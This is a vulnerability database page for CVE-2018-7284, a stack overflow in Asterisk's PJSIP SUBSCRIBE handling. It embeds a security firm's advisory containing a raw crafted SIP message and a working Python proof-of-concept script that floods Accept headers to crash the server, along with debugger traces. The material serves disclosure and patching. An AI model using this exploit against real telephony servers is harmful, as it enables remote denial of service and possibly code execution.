CVE-2018-7284 : Detail

CVE-2018-7284

7.5
/
High
Overflow
62.44%V3
Network
2018-02-21
23h00 +00:00
2018-10-17
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

A Buffer Overflow issue was discovered in Asterisk through 13.19.1, 14.x through 14.7.5, and 15.x through 15.2.1, and Certified Asterisk through 13.18-cert2. When processing a SUBSCRIBE request, the res_pjsip_pubsub module stores the accepted formats present in the Accept headers of the request. This code did not limit the number of headers it processed, despite having a fixed limit of 32. If more than 32 Accept headers were present, the code would write outside of its memory and cause a crash.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44184

Publication date : 2018-02-26 23h00 +00:00
Author : EnableSecurity
EDB Verified : Yes

''' # SUBSCRIBE message with a large Accept value causes stack corruption - Authors: - Alfred Farrugia <[email protected]> - Sandro Gauci <[email protected]> - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` - Tested vulnerable versions: 15.2.0, 13.19.0, 14.7.5, 13.11.2 - References: AST-2018-004, CVE-2018-7284 - Advisory URL: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-01-asterisk-pjsip-subscribe-stack-corruption> - Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-004.html> - Timeline: - Issue reported to vendor: 2018-01-30 - Vendor patch made available to us: 2018-02-06 - Vendor advisory published: 2018-02-21 - Enable Security advisory: 2018-02-22 ## Description A large SUBSCRIBE message with multiple malformed `Accept` headers will crash Asterisk due to stack corruption. ## Impact Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. Brief analysis indicates that this is an exploitable vulnerability that may lead to remote code execution. ## How to reproduce the issue The following SIP message was used to reproduce the issue: ``` SUBSCRIBE sip:[email protected]:5060 SIP/2.0 To: <sip:[email protected]:5060> From: Test <sip:[email protected]:5060> Call-ID: 1627b84b-b57d-4256-a748-30d01d242199 CSeq: 2 SUBSCRIBE Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK1627b84b-b57d-4256-a748-30d01d242199 Contact: <sip:[email protected]> Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (REPEAT ACCEPT FOR 50 TIMES) Event: message-summary Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE Authorization: Digest username="3000",realm="asterisk",nonce="1517181436/80170188d05f4af45b8530366c8e7e5e",uri="sip:127.0.0.1:5060",response="a4a88b777731349899227dc3170efdcf",algorithm=md5 Content-Length: 0 ``` Notes: - authentication may be required The following script was used to reproduce the issue: ''' python #!/usr/bin/env python import socket import ssl import re import md5 import uuid PROTO = "udp" SERVER_IP = "127.0.0.1" SERVER_PORT = 5060 USERNAME = "3000" PASSWORD = "3000" SUBSCRIBE_USERNAME = "3000" # default to SIP TCP socktype = socket.SOCK_STREAM if PROTO == "udp": socktype = socket.SOCK_DGRAM sock = socket.socket(socket.AF_INET, socktype) if PROTO == "tls": sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1) sock.connect((SERVER_IP, SERVER_PORT)) callid = str(uuid.uuid4()) msg = "SUBSCRIBE sip:%s@%s:%i SIP/2.0\r\n" \ "To: <sip:%s@%s:%i>\r\n" \ "From: Test <sip:%s@%s:%s>\r\n" \ "Call-ID: %s\r\n" \ "CSeq: 2 SUBSCRIBE\r\n" \ "Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ "Contact: <sip:%[email protected]>\r\n" \ "Accept: application/simple-message-summary\r\n" \ "Event: message-summary\r\n" \ "Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE\r\n" \ "{{AUTH}}" \ "Content-Length: 0\r\n" \ "\r\n" % ( SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT, SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT, USERNAME, SERVER_IP, SERVER_PORT, callid, callid, USERNAME) sock.sendall(msg.replace("{{AUTH}}", "")) data = sock.recv(10240) if data.startswith("SIP/2.0 401"): for line in data.split('\r\n'): if line.startswith("WWW-Authenticate"): content = line.split(':', 2)[1].strip() realm = re.search("realm=\"([a-z]+)\"", content).group(1) nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1) ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) ha2 = md5.new("SUBSCRIBE:" + uri).hexdigest() r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ "realm=\"%s\"," % (realm) + \ "nonce=\"%s\"," % (nonce) + \ "uri=\"%s\"," % (uri) + \ "response=\"%s\"," % (r) + \ "algorithm=md5\r\n" print(auth) newmsg = "" for line in msg.split('\r\n'): if line.startswith('Accept'): for _ in range(64): newmsg += 'Accept: ' + 'A' * 8 + '\r\n' else: newmsg += line + '\r\n' newmsg = newmsg.replace("{{AUTH}}", auth) print(newmsg) sock.sendall(newmsg) ''' GDB Output: ``` 2872 if (expires_header) { (gdb) bt #0 0x00007ffff1618000 in pubsub_on_rx_subscribe_request (rdata=rdata@entry=0x7fffe00132f8) at res_pjsip_pubsub.c:2872 #1 0x00007ffff1618938 in pubsub_on_rx_request (rdata=0x7fffe00132f8) at res_pjsip_pubsub.c:3559 #2 0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=0x4141414141414141, p=<optimized out>, p_handled=0x7ffff0480d44) at ../src/pjsip/sip_endpoint.c:893 #3 0x00007ffff11ca200 in strcpy (__src=0x7fffe00132f8 "\300.", __dest=0x0) at /usr/include/x86_64-linux-gnu/bits/string3.h:110 #4 record_serializer (tdata=0x7fffe00095f0) at res_pjsip/pjsip_distributor.c:92 #5 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x769a652ff4df0300, tps@entry=0xff0348) at taskprocessor.c:963 #6 0x0000000000603960 in execute_tasks (data=0xff0348) at threadpool.c:1322 #7 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x958d58) at taskprocessor.c:963 #8 0x0000000000603e40 in threadpool_execute (pool=0x957f98) at threadpool.c:351 #9 worker_active (worker=0x7fffa0000fa8) at threadpool.c:1105 #10 worker_start (arg=0x7fffa0000fa8) at threadpool.c:1024 #11 0x000000000060ed00 in __ast_malloc (file=0x6753b0 "uri.c", func=<optimized out>, lineno=307, len=<optimized out>) at /usr/local/src/asterisk-15.2.0/include/asterisk/utils.h:535 #12 ast_uri_make_host_with_port (uri=<optimized out>) at uri.c:307 #13 0x00007fffa0000c20 in ?? () #14 0x76f0f5cbfb310371 in ?? () #15 0x890f159a3c370371 in ?? () #16 0x00007fff00000000 in ?? () #17 0x00007ffff0480ef0 in ?? () #18 0x4141414141414141 in ?? () #19 0x00007ffff5241100 in arena_thread_freeres () at arena.c:927 #20 0x769a652ff4df0300 in ?? () #21 0x0000000000000000 in ?? () ``` By increasing the amount of `Accept` headers in the python script, we see stack smashing actually occurring. Although this may not work on UDP due to packet limitations, it has been verified to work on TLS/TCP. The above script would need to be slightly modified to create 64 `Accept` headers each with a value of 100 bytes, as follows: ```python for _ in range(64): newmsg += 'Accept: ' + 'A' * 100 + '\r\n' ``` GDB Output: ``` *** stack smashing detected ***: /opt/asterisk/sbin/asterisk terminated Thread 25 "asterisk" received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff0481700 (LWP 129)] 0x00007ffff5101428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff5101428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 #1 0x00007ffff510302a in __GI_abort () at abort.c:89 #2 0x00007ffff51437ea in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff525b49f "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff51e515c in __GI___fortify_fail (msg=<optimized out>, msg@entry=0x7ffff525b481 "stack smashing detected") at fortify_fail.c:37 #4 0x00007ffff51e5100 in __stack_chk_fail () at stack_chk_fail.c:28 #5 0x00007ffff1613be2 in subscription_get_generator_from_rdata (handler=<optimized out>, handler=<optimized out>, rdata=<optimized out>) at res_pjsip_pubsub.c:755 #6 0x4141414141414141 in ?? () #7 0x4141414141414141 in ?? () #8 0x4141414141414141 in ?? () #9 0x4141414141414141 in ?? () #10 0x4141414141414141 in ?? () #11 0x4141414141414141 in ?? () #12 0x0041414141414141 in ?? () #13 0x4141414141414141 in ?? () #14 0x4141414141414141 in ?? () #15 0x4141414141414141 in ?? () #16 0x4141414141414141 in ?? () #17 0x4141414141414141 in ?? () #18 0x4141414141414141 in ?? () #19 0x4141414141414141 in ?? () #20 0x0041414141414141 in ?? () #21 0x4141414141414141 in ?? () #22 0x4141414141414141 in ?? () #23 0x4141414141414141 in ?? () #24 0x4141414141414141 in ?? () #25 0x4141414141414141 in ?? () #26 0x4141414141414141 in ?? () #27 0x4141414141414141 in ?? () #28 0x0041414141414141 in ?? () #29 0x4141414141414141 in ?? () #30 0x4141414141414141 in ?? () #31 0x4141414141414141 in ?? () ``` This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. ## Solutions and recommendations Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release. ## About Enable Security [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. '''

Products Mentioned

Configuraton 0

Digium>>Asterisk >> Version To (including) 13.19.1

Digium>>Asterisk >> Version From (including) 14.0.0 To (including) 14.7.5

Digium>>Asterisk >> Version From (including) 15.0.0 To (including) 15.2.1

Configuraton 0

Digium>>Certified_asterisk >> Version 13.18

Digium>>Certified_asterisk >> Version 13.18

Configuraton 0

Digium>>Certified_asterisk >> Version To (including) 13.18

Configuraton 0

Debian>>Debian_linux >> Version 9.0

References

https://www.exploit-db.com/exploits/44184/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.debian.org/security/2018/dsa-4320
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/103151
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040416
Tags : vdb-entry, x_refsource_SECTRACK